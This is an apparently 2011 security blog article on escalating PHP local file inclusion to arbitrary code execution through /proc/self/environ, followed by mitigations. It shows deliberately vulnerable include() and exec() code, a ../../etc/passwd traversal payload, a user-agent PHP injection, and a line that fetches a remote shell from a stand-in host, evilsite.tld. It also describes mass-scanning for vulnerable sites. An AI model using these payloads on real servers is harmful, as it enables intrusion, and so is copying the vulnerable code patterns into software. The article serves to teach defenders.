When is LFI Really ACE?

25 August 2011

Local file inclusion (LFI) is a nasty vulnerability that affects many web applications. Normally, dynamic file inclusion is an extremely useful feature of scripting languages such as PHP. This compartmentalization allows for separation of logic code, display code, and various other components into separate areas of the application structure. However, dynamic file inclusion can open the door for vulnerabilities. Clever attackers can exploit these vulnerabilities to escalate LFI vulnerabilities into arbitrary code execution (ACE) attacks.

Local file inclusion (LFI) is a nasty vulnerability that affects many web applications. Normally, dynamic file inclusion is an extremely useful feature of scripting languages such as PHP. Using this feature developers can subdivide tasks of a web application into various files. This compartmentalization allows for separation of logic code, display code, and various other components into separate areas of the application structure. Not only does this help with code organization and maintenance, it also allows for more easy collaboration between multiple developers on a single application. Dynamic file inclusion is an extremely common development strategy for PHP application. However, dynamic file inclusion can open the door for LFI vulnerabilities.

Local File Include Vulnerabilities

LFI is generally caused by a programmer failing to verify files that are called by a script. These vulnerabilities can become exploitable if the file name or file path is composed with unsanitized user supplied data. A simple example of this type of vulnerability is a developer using a variable from a URL (known as a GET variable) to call a specific file for inclusion. For instance the URL index.php?template=red being used to find the red template file from the file directory. Sample PHP code for this include would be:

<?php
if ($_GET['template'] != '') {
  include('templates/' . $_GET['template'];
}
?>

This code attempts to include a file from the templates subdirectory. The flaw in the code is that the developer doesn't check the variable for sanity. Not only are control characters such as periods and slashes (../ is used to refer to a file one directory up), but also the code doesn't even check to see if the file exists before attempting to include it. If an attacker includes malicious filenames they could interrupt the expected program flow and include arbitrary files from the filesystem. For example, if an attacker called the URL:

index.php?template=../../../../../etc/passwd

The PHP code that controls the include would actually try and include the '/etc/passwd' from the web server filesystem. This could result in information disclosure, namely a list of valid logins for the system. In fact, when most people think of local file inclusion they associate that vulnerability with information disclosure risks. This exploit targets a local file include vulnerability as well as a directory traversal vulnerability (meaning the attacker can not only control what file is included but also include files beyond the web server directory root).

Arbitrary Code Execution Vulnerabilities

Arbitrary code execution (ACE) is an entirely different class of vulnerability. Code execution (or "code exec") vulnerabilities allow an attacker to interrupt a web application's program flow and issue system commands with the privileges of the web server process. This is the equivalent of giving an attacker a shell as the Apache user. A much more serious vulnerability, ACE can result in system compromise rather than information disclosure. The attacker takes (limited) control of the server and can do everything the web server can do (including launching privilege escalation attacks).

Arbitrary code execution flaws tend to be less common than local file inclusion vulnerabilities because exploitable code is so blatantly dangerous to developers. Using the above example of a URL based control structure, the following PHP code would be vulnerable to arbitrary code execution:

<?php
if ($_GET['command']) {
  exec($_GET['command']);
}
?>

Any developer worth their salt writing he above code would instantly identify the potential for bugs, if not outright abuse.

Linking LFI to ACE

How then do we make the leap from a relatively low risk vulnerability (local file inclusion), to a high risk vulnerability (arbitrary code execution)? The answer is quite clever and has been known to attackers for some time. In fact, the Nimbda worm of 2001 utilized local file inclusion, directory traversal, and code execution vulnerabilities to propagate. The critical link between these vulnerabilities in PHP based web applications hinges on how PHP (and other dynamic scripting languages) handle includes.

At the point at which an include is called, PHP scripts essentially interrupt execution, fetch the requested file, parse and execute it, then return to their caller. The functionality is similar to traditional function calls in compiled programming languages like C. When the PHP engine examines include files it treats them as it would any PHP file, that is the file is treated as plain text HTML to be delivered to the end user exempting blocks surrounded by the PHP control syntax ("<?php" and "?>"). If the engine finds any of these blocks within the included file they will be evaluated (and executed).

This behavior is extremely useful to an attacker. If the attacker can include a file that contains user supplied data, then the attacker can modify that data to include the PHP control characters and thus execute arbitrary code as the web server. One such method to gain access to a file that follows (or succumbs) to these conditions is to include the /proc/self/environ file. This file is standard on Linux systems and is used to store environmental variables. Logging into any Linux server you can issue the following command to examine a typical environ file:

$ cat /proc/self/environ

While this file may look relatively familiar to a regular user, let's examine the same command when executed by Apache. The following PHP file, when placed in a web serving directory as index.php:

<?php include('/proc/self/environ'); ?>

provides the output when called from a web browser:

DOCUMENT_ROOT=/var/www/html GATEWAY_INTERFACE=CGI/1.1 HTTP_ACCEPT=text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1 HTTP_COOKIE=PHPSESSID=134cc7261b341231b9594844ac2ad7ac HTTP_HOST=www.domain.tld HTTP_REFERER=http://www.refering.domain.tld/index.php HTTP_USER_AGENT= Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13 PATH=/bin:/usr/bin QUERY_STRING=view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron REDIRECT_STATUS=200 REMOTE_ADDR=127.0.0.1 REMOTE_PORT=35665 REQUEST_METHOD=GET REQUEST_URI=/index.php?view=..%2F..%2F..%2F..%2F..%2F..%2Fproc%2Fself%2Fenviron SCRIPT_FILENAME=/index.php SCRIPT_NAME=/index.php SERVER_ADDR=10.0.1.2 SERVER_ADMIN=webmaster@yoursite.tld SERVER_NAME=www.domain.tld SERVER_PORT=80 SERVER_PROTOCOL=HTTP/1.0 SERVER_SIGNATURE= Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV/2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at http://www.domain.tld Port 80

This is definitely an information leak resulting from a local file inclusion. The attacker can see the type of web server as well as a number of server configuration variables, such as web root, and the server contact e-mail. Looking closely at the output one can spot a number of attacker controlled variables such as the HTTP_COOKIE, HTTP_REFERER, and HTTP_USER_AGENT. All of these variables can be modified without altering the response from the server, except that the response will include strings controlled by an attacker.

Although the /proc/self/environ page is an easy target for this type of attack it is likely not the only target. Many web server configurations will deny access to /proc/self/environ because the server is configured to have no interactive shell (and thus no environmental variables). However, any file on the web server that echoes back the aforementioned attacker controlled global variables could be used in the same manner. Ultimately the attacker is just seeking a file that can be manipulated.

Exploit

An attacker can leverage this vulnerability a number of ways. The manual method of exploit usually involves a browser plugin such as Firefox Tamper Data or a proxy like Paros or WebScarab. Using these tools the attacker can inspect GET request variables sent from a browser and alter them. This method is clunky, however, and requires a lot of interaction.

A much faster mechanism for exploiting this vulnerability would be to use an automated tool written in a language like Perl using the WWW::Mechanize module. This would allow an attacker to scan large blocks of IP addresses and arbitrarily attack them without concern for whether or not an attack was successful.

In order to exploit a local file include that returns attacker controled variables the attacker has to inject malicious PHP. For instance, if the attacker modified their user agent and changed the value from "Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20110103 Fedora/3.6.13-1.fc14 Firefox/3.6.13" to "<?php phpinfo();?>" then the resulting page would spill out the return value of the phpinfo() command rather than simply the text value of the /proc/self/environ file. By changing this PHP code, the attacker can issue arbitrary commands and escalate the LFI to an ACE vulnerability.

Automating this attack is quite trivial. An attacker could try and manipulate the command execution to issue PHP commands to include remote files, such as changing the browser user agent to the string:

<?php include("http://evilsite.tld/evil-shell.txt");?>

And this page would execute, including the /proc/self/environ file which would then be evaluated resulting in PHP attempting to include the remote evil-shell.txt file from evilsite.tld, which would then be interpreted in the same way, executing the PHP code in that file. For more information about file include exploits and protections see http://www.madirish.net/?article=427.

A clever automated tool, however, would not necessarily even need to exercise remote file include capabilities. Using some sort of PHP that would probe an attacker controlled server could be used to alert the attacker that a site was vulnerable. Even including HTML for a web bug such as an iframe sourced to an attacker controlled server would suffice. Using this method an attacker could write a scanning script that would probe remote servers for local file include vulnerabilities then attempt to include HTML that referenced a server they controlled. Once this script was executed the attacker could simply monitor their own logs to look for calls from successful include attacks and follow up with more targeted or damaging attacks on vulnerable targets.

Protection

Remote file includes are controlled in the php.ini (usually found in /etc/php.ini), however, and this vulnerability can be mitigated by disallowing remote file includes by including the following lines:

; Whether to allow include/require to open URLs (like http:// or ftp://) as files.
allow_url_include = Off

By including this configuration, PHP would not allow the fetching of the remote file from evilsite.tld. For more information about hardening PHP through configuration settings see http://www.madirish.net/?article=229.

An effective tactic for halting the inclusion of /proc/self/environ is to make sure that Apache (or whatever web server) doesn't have access to environmental variables. Altering the apache account in /etc/passwd can ensure that the apache account cannot be used for interactive access. By changing apache's shell to /sbin/nologin the webserver is denied access to environmental variables:

apache:x:48:48:Apache:/var/www:/sbin/nologin

As mentioned before, however, this strategy will only disable the /proc/self/environ based attacks. Other scripts or files that echo attacker controlled variables could just as easily be used for the same purpose. Chroot jailing Apache could limit the number of files available to the web server but again, does not completely protect against this attack.

Barring an effective mitigation the best defense is a quick reaction. By carefully monitoring your web server logs using an automated tool such as OSSEC you can ensure that if attackers discover LFI vulnerabilities that utilize URL variables you will be quickly alerted. Of course, Apache web server logs do not include POST variables, cookie information, and other attacker controlled input so this is of limited utility as log files have limited visibility into attacker probes.

Ultimately the only defense against this type of attack is to remove any local file include vulnerabilities. This can be accomplished with a thorough code review of all web applications. This is a time consuming process so it is better to prevent these vulnerabilities in the first place, which can only be accomplished with a robust application security development lifecycle (SDLC) and effective developer training.

Conclusion

Local file include vulnerabilities may seem innocuous, but when combined with files meeting specific criteria they can lead to arbitrary code exection. Although this class of vulnerability has been around for over 10 years it continues to be a problem. If you've ever looked through your web server logs you've likely seen references to strings like "?page=../../../../../proc/self/environ%00". These are probes, using null byte poisoning, for local file includes that can be combined with arbitrary code execution. This method is definitively being used in the wild by malicious attackers. Being aware of the danger will hopefully encourage developers to review their applications and institute protections and mitigation for this type of vulnerability. Take steps to protect your servers by limiting remote file inclusion and disabling web server environments in order to avoid most common exploits using this vulnerability.